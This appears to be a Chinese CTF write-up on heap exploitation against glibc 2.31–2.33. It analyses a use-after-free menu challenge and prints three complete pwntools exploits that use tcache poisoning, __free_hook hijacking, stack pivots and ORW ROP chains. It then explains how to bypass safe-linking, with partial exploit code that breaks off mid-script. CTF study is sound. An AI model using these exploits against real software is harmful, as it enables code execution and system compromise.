edit_description_();
goto LABEL_15;
}
if ( v4 == 6 )
break;
LABEL_15:
puts("Invalid input");
}
puts("Bye~");
return 0LL;
}

nemu()

1
2
3
4
5
6
7
8
9
10
int sub_1641()
{
puts("1.Give birth to a child");
puts("2.Change child's name");
puts("3.Show children's name");
puts("4.Remove your child");
puts("5.Edit child's description.");
puts("6.Exit");
return printf(">> ");
}

birth_to_child()

可以看出程序最多可以申请10个堆块,同时会维护两个数组,分别是chunk_listchunk_list_flag, 其中前者储存申请的chunk地址,而后者则会依据申请堆块的序号把数组对应位置写为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int sub_16A5()
{
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

puts("Please input index?");
v1 = input();
if ( v1 < 0 || v1 > 9 )
return puts("oh god, you can't give birth to a child!");
puts("Please choose your child's gender.\n1.Boy\n2.Girl:");
v2 = input();
if ( v2 != 1 && v2 != 2 )
return puts("Oho, your child must be a boy or a girl");
used[v1] = 1;
heap_idty[v1] = malloc(0x100uLL);
if ( v2 == 1 )
{
*(_DWORD *)(heap_idty[v1] + 8LL) = 'yob';
}
else if ( v2 == 2 )
{
strcpy((char *)(heap_idty[v1] + 8LL), "girl");
}
puts("Please input your child's name:");
return read_gai(heap_idty[v1], 8LL);
}

creat_child_name()

逻辑很简单,在改名前会检查chunk_list_flag对应位置是否为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int sub_17EA()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

puts("Please input index?");
LODWORD(v0) = input(); // 输入
v2 = v0;
if ( (int)v0 >= 0 && (int)v0 <= 9 ) // 最多只能有9个堆块
{
v0 = heap_idty[(int)v0]; // 获取对应位置堆块地址
if ( v0 ) // 判断次堆块是否存在
{
LODWORD(v0) = used[v2]; // 判断堆块是否被free
if ( (_DWORD)v0 )
{
puts("Please input your child's new name:");
read_gai((void *)heap_idty[v2], 8); // 正常修改
LODWORD(v0) = puts("Done!");
}
}
}
return v0;
}

show_name()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int show_name()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

puts("Please input index?");
LODWORD(v0) = input();
v2 = v0;
if ( (int)v0 >= 0 && (int)v0 <= 9 )
{
v0 = heap_idty[(int)v0];
if ( v0 )
{
LODWORD(v0) = used[v2];
if ( (_DWORD)v0 )
LODWORD(v0) = printf(
"Name: %s, Gender: %s, Description:%s.\n",
(const char *)heap_idty[v2],
(const char *)(heap_idty[v2] + 8LL),
(const char *)(heap_idty[v2] + 16LL));
}
}
return v0;
}

rm_child()

程序的主要漏洞就出在释放函数中,可见函数并没有检查 chunk_list_flag,且释放后并没有将 chunk_list置0,存在uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_196B()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

puts("Please input index?");
LODWORD(v0) = input();
v2 = v0;
if ( (int)v0 >= 0 && (int)v0 <= 9 )
{
v0 = heap_idty[(int)v0];
if ( v0 )
{
free((void *)heap_idty[v2]); // uaf
used[v2] = 0;
LODWORD(v0) = puts("Done");
}
}
return v0;
}

change_gender()

这个函数就不太一样了,他在修改性别前没有检查chunk_list_flag,而且会先打印当前性别

试想一下,如果目标堆块处于 tcache中,那么修改性别就能泄露 堆地址

如果目标堆块处于 unsort bin中,那么修改性别就有可能泄露 libc地址

(不过其实出题人提供这个函数是为了降低难度,即便不调用这个函数也可以通过double free来泄露相关地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int sub_1AB0()
{
char *v0; // rax
int v2; // [rsp+8h] [rbp-8h]
int v3; // [rsp+Ch] [rbp-4h]

printf("You only have 1 chances to change your child's gender, left: %d\n", (unsigned int)dword_4010);
LODWORD(v0) = dword_4010;
if ( dword_4010 )
{
puts("Please input index?");
LODWORD(v0) = input();
v2 = (int)v0;
if ( (int)v0 >= 0 && (int)v0 <= 9 )
{
v0 = (char *)heap_idty[(int)v0];
if ( v0 )
{
--dword_4010;
printf("Current gender:%s\n", (const char *)(heap_idty[v2] + 8LL));
puts("Please rechoose your child's gender.\n1.Boy\n2.Girl:");
v3 = input();
if ( v3 == 1 )
{
v0 = (char *)(heap_idty[v2] + 8LL);
*(_DWORD *)v0 = 7958370;
}
else if ( v3 == 2 )
{
v0 = (char *)(heap_idty[v2] + 8LL);
strcpy(v0, "girl");
}
else
{
LODWORD(v0) = puts("oho, you choose a invalid gender.");
}
}
}
}
return (int)v0;
}

edit_description_();

逻辑很简单,修改前也会检查 chunk_list_flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int sub_1A03()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

puts("Please input index?");
LODWORD(v0) = input();
v2 = v0;
if ( (int)v0 >= 0 && (int)v0 <= 9 )
{
v0 = heap_idty[(int)v0];
if ( v0 )
{
LODWORD(v0) = used[v2];
if ( (_DWORD)v0 )
{
puts("Please input your child's description:");
read_gai((void *)(heap_idty[v2] + 16LL), 240);
LODWORD(v0) = puts("Done");
}
}
}
return v0;
}

漏洞分析

首先分析一下题目,程序中可以 创建删除改名改描述更改一次性别退出

chunk的结构

1
2
3
4
5
6
7
8
9
10
11
0x0 → pre_size

0x8 → size

0x10 → name

0x18 → gender

0x20 → des

.....

我们可以通过构造堆块重叠来泄露堆地址和libc地址,然后通过tcahche_attack劫持到free_hook,向其写入gadget,然后我们在可控的地址写入orw进行调用,free之后执行,puts出flag。

解法一

gadget+setcontext

用到的gadget是getkeyserv_handle+576

这是在我本地的环境下libc中的gadget,是将rdi+8中的内容放入rdx中,然后调用rdx+0x20

image.png

从 Glibc2.29到2.32都可用

我们首先需要讲free_hook中的内容劫持为gadget内容,然后free一个堆块,此堆块地址作为参数在rdi寄存器中,然后我们看gadget和heap结构,因为在高版本中堆块的指针指向内容所以此时的rdi+8就等于gender那么此时rdx中的值就是gender,因为我们有一次修改性别的机会,那么我们就通过修改性别讲rdx寄存器里面内容替换成任意值。然后我们再来看setcontext+61

我们还可以通过构造一个fake_chunk来进行对下一堆快的内容进行一个修改gender

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000000580DD                 mov     rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn

我们需要讲rsp整到我们布置的rop上,调整一下布局

1
2
3
4
pl = p64(0) + p64(0x111)
pl+= p64(0) + p64(heap_addr+0x3a8-0x18)
pl+= p64(setcontext)
pl+= (0xa0-len(pl))*b'\x00' + p64(heap_addr+0x5d0) + p64(p_rdi_r)

按这样的布局执行setcontext之后就可以跳转到相应的位置

image.png

这时候执行到了gadget了我们继续往下执行

image.png

这里就要跳转到chontext了

然后我们布置一下rop

1
2
3
4
5
6
#rop
pl = p64(heap_addr+0xb10) + p64(p_rsi_r) + p64(0) + p64(open_addr)
pl += p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_addr+0x500) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)
pl += p64(p_rdi_r) + p64(heap_addr+0x500) + p64(puts)
content_edit(4,pl)
name_edit(0,'/flag\x00\x00')

继续执行

image.png

执行了这一条之后,我们观察一下stack,这里是控制了rsp的地址

image.png

这里我们看到成功将我们需要执行的rop作为栈

然后继续执行,我们再刚才setcontext的地方给rcx了一个pop_rdi 然后我们最后ret的时候会返回pop rdi ret

image.png

正如我们布置所想的东西。

继续执行

成功open

image.png

成功read

image.png

成功put

image.png

成功进行了orw

image.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#encoding = utf-8
import os
import sys
import time
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.os = 'linux'
context.arch = 'amd64'

binary = "pwn"
libcelf = "/lib/x86_64-linux-gnu/libc.so.6"

og = [0x4342,0x3342]

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

p = process("./pwn")
elf = ELF(binary)
libc = ELF(libcelf)

def dbg(cmd=''):
gdb.attach(p,cmd)
pause()

def add(idx,sex,name):
sla('>> ','1')
sla('index?\n',str(idx))
sla('2.Girl:\n',str(sex))
sa("Please input your child's name:\n",name)

def name_edit(idx,name):
sla('>> ','2')
sla('index',str(idx))
sa('name:',name)
ru('Done!\n')
def show(idx):
sla('>>','3')
sla('index?',str(idx))
def free(idx):
sla('>>','4')
sla('index?',str(idx))
def change_sex(idx,sex):
sla('>>','666')
sla('index?',str(idx))
ru(b'Current gender:')
temp = uu64(r(6))
sla('2.Girl:',str(sex))
return temp
def content_edit(idx,data):
sla('>>','5')
sla('index?',str(idx))
sa('description:',data)
def quit():
sla('>>','6')

def leak_libc(addr):
global libc_base,mh,fh,system,binsh_addr,_IO_2_1_stdout_,realloc
libc_base = addr - libc.sym['puts']
leak("libc base ",libc_base)
mh = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
realloc = libc_base + libc.sym['realloc']
fh = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

def pwn():
#leak_heap
for i in range(10):
add(i,1,'a')
for i in range(7):
free(6-i)
free(8)
free(7)
add(0,1,'1')
free(8)
add(0,1,'1')
free(8)
show(0)
ru('nder: ')
heap_addr = uu64(r(6))
leak('heap_addr',heap_addr)
#leak_libc
for i in range(1,9):
add(i,1,'a')
show(0)
ru('nder: ')
base = uu64(r(6))-0x1ecbe0
leak('libc',base)

open_addr = base + libc.sym['open']
read_addr = base + sym('read')
puts = base + sym('puts')
gadget = base + 0x1518b0
free_hook = base + sym('__free_hook')
setcontext = base + sym('setcontext') + 61
p_rdi_r = base + 0x023b72
p_rdx_r12_r = base + 0x0119241
p_rsi_r = base + 0x2604f
leak('free_hook',free_hook)
leak('gadget',gadget)
leak('libc',base)
leak('free_hook',sym('__free_hook'))
leak('malloc_hook',base+sym('__malloc_hook'))

add(9,1,'a')
free(3)
free(1)
name_edit(0,p64(heap_addr+0x380)[:-1])
add(8,1,'a')
add(9,1,'a')
pl = p64(0) + p64(0x111)
pl+= p64(0) + p64(heap_addr+0x3a8-0x18)
pl+= p64(setcontext)
pl+= (0xa0-len(pl))*b'\x00' + p64(heap_addr+0x5d0) + p64(p_rdi_r)
content_edit(9,pl)
#gdb.attach(p)
free(7)
free(8)
name_edit(0,p64(free_hook)[:-1])
add(8,1,'a')
add(7,1,p64(gadget)[:-1])

#rop
pl = p64(heap_addr+0xb10) + p64(p_rsi_r) + p64(0) + p64(open_addr)
pl += p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_addr+0x500) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)
pl += p64(p_rdi_r) + p64(heap_addr+0x500) + p64(puts)
content_edit(4,pl)
name_edit(0,'/flag\x00\x00')
gdb.attach(p,'b *'+ str(hex(gadget))+'\n')

free(2)
#gdb.attach(p)
itr()

'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
'''

if __name__ == '__main__':
pwn()

解法二

类似的布置svcudp_reply+26进行栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#encoding = utf-8
import os
import sys
import time
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.os = 'linux'
context.arch = 'amd64'

binary = "pwn"
libcelf = "/lib/x86_64-linux-gnu/libc.so.6"

og = [0x4342,0x3342]

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

p = process("./pwn")
elf = ELF(binary)
libc = ELF(libcelf)

def dbg(cmd=''):
gdb.attach(p,cmd)
pause()

def add(idx,sex,name):
sla('>> ','1')
sla('index?\n',str(idx))
sla('2.Girl:\n',str(sex))
sa("Please input your child's name:\n",name)

def name_edit(idx,name):
sla('>> ','2')
sla('index',str(idx))
sa('name:',name)
ru('Done!\n')
def show(idx):
sla('>>','3')
sla('index?',str(idx))
def free(idx):
sla('>>','4')
sla('index?',str(idx))
def change_sex(idx,sex):
sla('>>','666')
sla('index?',str(idx))
ru(b'Current gender:')
temp = uu64(r(6))
sla('2.Girl:',str(sex))
return temp
def content_edit(idx,data):
sla('>>','5')
sla('index?',str(idx))
sa('description:',data)
def quit():
sla('>>','6')

def leak_libc(addr):
global libc_base,mh,fh,system,binsh_addr,_IO_2_1_stdout_,realloc
libc_base = addr - libc.sym['puts']
leak("libc base ",libc_base)
mh = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
realloc = libc_base + libc.sym['realloc']
fh = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

def pwn():
#leak_heap
for i in range(10):
add(i,1,'a')
for i in range(7):
free(6-i)
free(8)
free(7)
add(0,1,'1')
free(8)
add(0,1,'1')
free(8)
show(0)
ru('nder: ')
heap_addr = uu64(r(6))
leak('heap_addr',heap_addr)

#leak_libc
for i in range(1,9):
add(i,1,'a')
show(0)#0 and 8
ru('nder: ')
base = uu64(r(6))-0x1ecbe0
leak('libc',base)
open_addr = base + libc.sym['open']
read_addr = base + libc.sym['read']
puts = base + libc.sym['puts']
gadget = base + 0x154d0a
free_hook = base + libc.sym['__free_hook']
setcontext = base + libc.sym['setcontext'] + 61
p_rdi_r = base + 0x023b72
p_rdx_r12_r = base + 0x0119241
p_rsi_r = base + 0x2604f
leave_r = base + 0x0578f8
rop = heap_addr + 0x5d0
add_rsp_0x18_r = base + 0x034a1a
ret = base + 0x022679
leak('free_hook',free_hook)
leak('gadget',gadget)
leak('libc',base)

add(9,1,'a')
free(3)
free(1)
name_edit(0,p64(heap_addr+0x380)[:-1])#0 and 1
add(8,1,'a')
add(9,1,'a')# fake_chunk
pl = p64(0) + p64(0x111) + b'/flag\x00'
pl = pl.ljust(0x58,b'a')
pl+= p64(heap_addr + 0x5d0)
pl+= p64(leave_r)
content_edit(9,pl)

free(7)
free(8)
name_edit(0,p64(free_hook)[:-1])
add(8,1,'a')
add(7,1,p64(gadget)[:-1])

pl = p64(ret) + p64(add_rsp_0x18_r)*2#stack_down
pl+= p64(heap_addr + 0x3c8) # rax
pl+= b'\x00'*0x8
# orw chains
# open
pl+= p64(p_rdi_r)+p64(heap_addr+0x3a0)+p64(p_rsi_r)+p64(0)+p64(open_addr)
# read
pl+= p64(p_rdi_r)+p64(4)+p64(p_rsi_r)+p64(heap_addr+0xb30)+p64(p_rdx_r12_r)+p64(0x30)*2+p64(read_addr)
# puts
pl+= p64(p_rdi_r)+p64(heap_addr+0xb30)+p64(puts)
content_edit(4,pl)
gdb.attach(p,'b* '+str(gadget))
free(2)

itr()

'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
'''

if __name__ == '__main__':
pwn()

解法三

泄露栈地址直接劫持ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#encoding = utf-8
import os
import sys
import time
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.os = 'linux'
context.arch = 'amd64'

binary = "pwn"
libcelf = "/lib/x86_64-linux-gnu/libc.so.6"

og = [0x4342,0x3342]

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

p = process("./pwn")
elf = ELF(binary)
libc = ELF(libcelf)

def add(idx,sex,name):
sla('>> ','1')
sla('index?\n',str(idx))
sla('2.Girl:\n',str(sex))
sa("Please input your child's name:\n",name)

def name_edit(idx,name):
sla('>> ','2')
sla('index',str(idx))
sa('name:',name)
ru('Done!\n')
def show(idx):
sla('>>','3')
sla('index?',str(idx))
def free(idx):
sla('>>','4')
sla('index?',str(idx))
def change_sex(idx,sex):
sla('>>','666')
sla('index?',str(idx))
ru(b'Current gender:')
temp = uu64(r(6))
sla('2.Girl:',str(sex))
return temp
def content_edit(idx,data):
sla('>>','5')
sla('index?',str(idx))
sa('description:',data)
def quit():
sla('>>','6')

def leak_libc(addr):
global libc_base,mh,fh,system,binsh_addr,_IO_2_1_stdout_,realloc
libc_base = addr - libc.sym['puts']
leak("libc base ",libc_base)
mh = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
realloc = libc_base + libc.sym['realloc']
fh = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

def pwn():
#leak_heap
for i in range(10):
add(i,1,'a')
for i in range(7):
free(6-i)
#gdb.attach(p)
free(8)
free(7)
add(0,1,'1')
free(8)
add(0,1,'1')
free(8)
show(0)
ru('nder: ')
heap_addr = uu64(r(6))
leak('heap_addr',heap_addr)

#leak_libc
for i in range(1,9):
add(i,1,'a')
show(0)#0 and 8
ru('nder: ')
base = uu64(r(6))-0x1ecbe0
leak('libc',base)
open_addr = base + libc.sym['open']
read_addr = base + libc.sym['read']
puts = base + libc.sym['puts']
gadget = base + 0x154d0a
free_hook = base + libc.sym['__free_hook']
setcontext = base + libc.sym['setcontext'] + 61
p_rdi_r = base + 0x023b72
p_rdx_r12_r = base + 0x0119241
p_rsi_r = base + 0x2604f
leave_r = base + 0x0578f8
rop = heap_addr + 0x5d0
add_rsp_0x18_r = base + 0x034a1a
ret = base + 0x022679
environ = base + libc.sym['__environ']
leak('free_hook',free_hook)
leak('environ',environ)
leak('gadget',gadget)
leak('libc',base)
#gdb.attach(p)

add(9,1,'a')
free(3)
free(1)
name_edit(0,p64(environ-0x10)[:-1])
add(8,1,'a')
add(9,1,'a')#environ
show(9)
stack_addr = uu64(ru('\x2e')[-6:])
main_ret = stack_addr - 0x100
leak('stack',stack_addr)
leak('ret',main_ret)

free(7)
free(8)
name_edit(0,p64(main_ret-0x10)[:-1])
add(8,1,'/flag\x00\x00')
add(7,1,'aa')
#open
pl= p64(p_rdi_r)+p64(heap_addr+0xb10)+p64(p_rsi_r)+p64(0)+p64(open_addr)
# read
pl+= p64(p_rdi_r)+p64(4)+p64(p_rsi_r)+p64(heap_addr+0xb30)+p64(p_rdx_r12_r)+p64(0x30)*2+p64(read_addr)
# puts
pl+= p64(p_rdi_r)+p64(heap_addr+0xb30)+p64(puts)
content_edit(7,pl)
#gdb.attach(p)

quit()

itr()

'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
'''

if __name__ == '__main__':
pwn()

glibc2.32下的一些那啥

前言

姑且把这篇文章看作对这周做题的一个总结吧,本人的之后还仅限于glibc2.31以及之前的版本,对glibc2.32以及之后的版本了解的少之又少,这周做题遇到了问题也不能及时的解决,所以我还是了解一下吧。

这里们用到的环境都是glibc2.33,从2.32到2.33之间,堆管理系统下的保护斌没有太大的变化,所以我们就直接使用glibc2.33的环境进行测试。

image.png

指针异或加密保护

在2.32及其之后的版本中进行了一把大改革,就是将我们之前经常利用tcache fd,bk等指针进行了一把异或的加密让我们的利用更难进行,leak之后更难进行一个切片接受,这样几乎就劝退许多比较慵懒的人(比如说我。

源码对比

我们先进行一个源码的对比:

我们主要是分析tcache的存放问题,之分析源码中tcache_put()和tcache_get()函数

glibc2.31:

我们发现在存取两个函数中没有堆指针的合法性做出检测,就是一个比较单纯的链子,也十分的容易欺骗。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
glibc2.32

我们发现相比glibc2.31增加了一个东西——PROTECT_PTR,REVEAL_PTR,通过字面意思我们发现这是一个指针的保护,具体怎么保护我们还是需要分析一下PROTECT_PTR、REVEAL_PTR本身。

然后就是在我们取出堆块的时候增加了一个保护,就是检测堆块的指针是否合法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

我们来看关键的PROTECT_PTR、REVEAL_PTR:

这里对堆块的处理是一次异或运算,就是 tcache_entry->next中存放的地址于自身的地址进行一波异或然后得到的值在放入原来的位置。这就需要我们不仅要获得指针,而是要提前获得堆块的及地址。这就给我们利用带来的不小的麻烦。

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

大佬的想法:若是我们能够直接控制 tcache struct,则仍然可以直接进行任意地址写,这是因为在 tcache struct 中存放的仍是未经异或运算的原始 chunk 地址。

绕过方法

这样的话,我们想到,一个数异或他的本身为0,这几样的话一个数异或0就是他的本身,那么放入第一个他tcache的时候其堆块内就有本身的地址,如果有uaf的话就可以泄露heapbase,正是因为这个机制,为我们提供了一个更加方便的leak_heap的方法。

题目实践-2021VNCTF-FF

例行检查

image.png

逆向分析

存在uaf漏洞,只能show一次,edit两次。

image.png

leak_heapbase

那我们想来了,之前我们分析的漏洞,就是在我们free掉第一个tcache bin堆块之后,fd上就有heap的地址我们先执行

1
2
3
4
5
def pwn():
add(0x80,'powercat')
delete()
gdb.attach(p)
itr()

我们gdb看一下其中的东西

image.png

我们发现少了下面的三位,不过无伤大雅只要*0x1000就行了。

1
2
3
4
5
6
add(0x80,'powercat')
delete()
show()
heap_leak = u64(r(6).ljust(8, b'\x00'))
heap_base = heap_leak * 0x1000
leak('heap base: ' + hex(heap_base))

成功泄露

image.png

实现double free

这里我们只需要进行将key修改了就可以实现double free

1
edit('powercat')

修改后

image.png

1
delete()

image.png

实现了double free。

free掉tcache struct

我们只需要修改一下tcache的内容就可以,我们知道前面的一些机制我们就可以相应的取修改一下这个指针

1
edit1(p64(heap_leak^(heap_base+0x10)))

image.png

成功将tcache_struct链入bin中。

1
2
3
4
5
6
7
tcache_struct = heap_base + 0x10
pl = heap_leak ^ tcache_struct
print(pl)
edit1(p64(pl))
add(0x80, 'powercat')
add(0x80, '\x00\x00' * (0xe + 0x10 + 9) + '\x07\x00')
delete()

image.png

这里已经成功将tcache_struct free掉

将stdout放入tcache_struct
1
2
3
4
add(0x40, ('\x00\x00' * 3 + '\x01\x00' + '\x00\x00' * 2 + '\x01\x00').ljust(0x70, '\x00'))
add(0x30, '\x00'.ljust(0x30, '\x00'))
add1(0x10, p64(0) + p16(0x66c0))
add1(0x40, p64(0xfbad1800) + p64(0) * 3 + b'\x00')

image.png

这里需要我们进行爆破

这里我们爆破到了stdout leak到了libc

LKZZKXBF3T4Q_N_JT.png

leak_libc
1
libcbase = uu64(ru(b'\x7f')[-5:]+b'\x7f') - 0x1e4744

image.png

image.png

劫持__free_hook
1
2
3
add1(0x10, p64(libcbase + libc.sym['__free_hook']-0x20))
add1(0x70, p64(libcbase + libc.sym['system']))
add1(0x10, b'/bin/sh\x00')

okk

触发
1
delete()

好!

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#encoding = utf-8
import os
import sys
import time
from pwn import *
#from LibcSearcher import *

context.log_level = "debug"
context.os = 'linux'
context.arch = 'amd64'


s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
